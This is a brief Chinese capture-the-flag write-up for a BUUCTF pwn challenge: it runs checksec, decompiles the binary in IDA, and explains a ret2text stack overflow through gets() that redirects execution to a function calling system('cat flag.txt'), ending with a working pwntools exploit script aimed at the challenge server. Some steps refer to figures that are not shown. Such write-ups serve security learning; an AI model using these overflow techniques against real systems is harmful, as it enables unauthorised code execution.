1.checksec 检查文件类型
ELF-64-little ,无其他限权,直接用ida检查代码。
2.IDA进行反编译,进行代码审计
查看各个名称的内容:
了解基本攻击思路:
攻击思路:gets输入垃圾数据覆盖v5内容,再将sub_40060D的地址覆盖return_addr,使其调用“system”函数,执行“cat flag.txt”,输出flag,进而得到flag。
v5距离ebp大小:
ebp大小:
3.EXP
from pwn import *
io = remote('node4.buuoj.cn',27089)
context(os='linux', arch='amd64', log_level='debug')
getshell=0x40060D
payload=b'a'*(0x40+0x8)+p64(getshell)
io.sendline(payload)
io.interactive()
因为flag是我们接收的数据,所以不用交互进行cat flag.直接在返回字符内容里面查看